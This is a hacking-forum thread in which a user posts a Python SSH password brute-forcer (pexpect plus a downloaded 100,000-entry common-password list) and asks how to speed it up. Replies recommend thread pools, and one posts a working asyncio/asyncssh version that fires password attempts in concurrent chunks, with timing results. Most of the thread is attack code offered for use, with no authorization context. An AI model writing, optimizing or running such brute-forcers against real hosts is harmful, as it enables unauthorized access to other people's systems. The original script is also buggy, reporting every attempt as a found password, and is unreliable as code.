

Forum:[Hack Forums](#)

Thread: [Threading or Multiprocessing for SSH Bruteforcer](#)

mrKO - May 28, 2020, 2:50 pm

Hello, I wrote an ssh brute-forcer but it's too slow to be useful, I searched ways to fast it up but I don't know if it's better to use the Threading module or the Multiprocessing module.

Code `#!/usr/bin/python`

```
import pexpect
from termcolor import colored
from urllib.request import urlopen
```

```
PROMPT = ["# ", ">>> ", "> ", "\$ ", "~$ "]
```

```
def connect(user, host, password):
    connStr = "ssh " + user + "@" + host
    child = pexpect.spawn(connStr)
    ret = child.expect([pexpect.TIMEOUT, "[P|p]assword: "])
    if ret == 0:
        print(colored("[-] Unable to connect", "red"))
        return
    if ret == 1:
        child.sendline(password)
        child.expect(PROMPT, timeout=0.015)
        return child
```

```
def main():
    host = input(colored("[*] Enter host: ", "blue"))
    user = input(colored("[*] Enter user: ", "blue"))
    passlist =
str(urlopen('ht/raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-100000.txt').read(), 'utf_8')
    for password in passlist.split("\n"):
        try:
            connect(user, host, password)
            print (colored(f"[+] Password Found: {password}", "green"))
        except:
            pass
    print (colored("[-] Password Not In List", "red"))
main()
```

Lindros - May 28, 2020, 3:00 pm

Basically, you use threading when you are waiting around for IO (input/output). You use multiprocessing when you are doing a lot of CPU bound processing tasks (math calculations or something).

Also, you can use Process Pool Executor or Thread Pool Executor to do a lot of the thread or processing managing for you. Makes it a lot easier. I've used it for school assignments.

Which piece of your code specifically is slowing down?

I'm guessing in this case it is IO? Maybe a Thread Pool Executor would be faster because as the function is waiting to be completed, it would start another and another. Threading would really speed this up i'd think.

mrKO - May 29, 2020, 2:59 am

Thank you very much !!! Yes I think the part that slows down my program is the part where I try connecting.

vorticalbox - May 29, 2020, 8:17 am

(May 29, 2020 02:59 AM)mrKO Wrote: [\[CITE\]](#) Thank you very much !!! Yes I think the part that slows down my program is the part where I try connecting.

yes, if you go down threads you will hit the GIL. This sort of thing is where async programming really shines.

PHP Code

```
<?php
import asyncio, asyncssh
import requests
from time import time

raw_passwords = requests.get(
'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-100000.txt').text

passwords = [line.strip() for line in raw_passwords.split()]
host = 'host'

loop = asyncio.get_event_loop()

def chunks(lst, n):
    for i in range(0, len(lst), n):
        yield lst[i:i + n]

async def check_password(password):
    print(f'Trying {password}')
    try:
        await asyncssh.connect(host, username='pi', password=password)
        print(f'[+] {password}')
        exit()
    except Exception as e:
        pass

if __name__ == "__main__":
    for chunk in chunks(passwords, 100):
        startTime = time()
        tries = asyncio.gather(*[check_password(password) for password in chunk])
        loop.run_until_complete(tries)
        print (f'chunk took {round(time() - startTime, 2)} seconds')
```

change this line

PHP Code

```
<?php
```

```
for chunk in chunks(passwords, 10):
```

change the number to increase the number of async tasks to fire off

tested against my Raspberry PI

10 passwords per chunk took 3.8 s

20 password pc took 4.0 s

50 passwords pc took 4.8 s

100 passwords pc took 9.13 s

200 passwords pc took 11.16 s

as you can see it scales quite well

CD_ROM - May 29, 2020, 9:50 am

(May 28, 2020 03:00 PM)Lindros Wrote: [\[CITE\]](#) Basically, you use threading when you are waiting around for IO (input/output). You use multiprocessing when you are doing a lot of CPU bound processing tasks (math calculations or something).

Also, you can use Process Pool Executor or Thread Pool Executor to do a lot of the thread or processing managing for you. Makes it a lot easier. I've used it for school assignments.

Which piece of your code specifically is slowing down?

I'm guessing in this case it is IO? Maybe a Thread Pool Executor would be faster because as the function is waiting to be completed, it would start another and another. Threading would really speed this up i'd think.

Valuable input mate! Thanks for the info.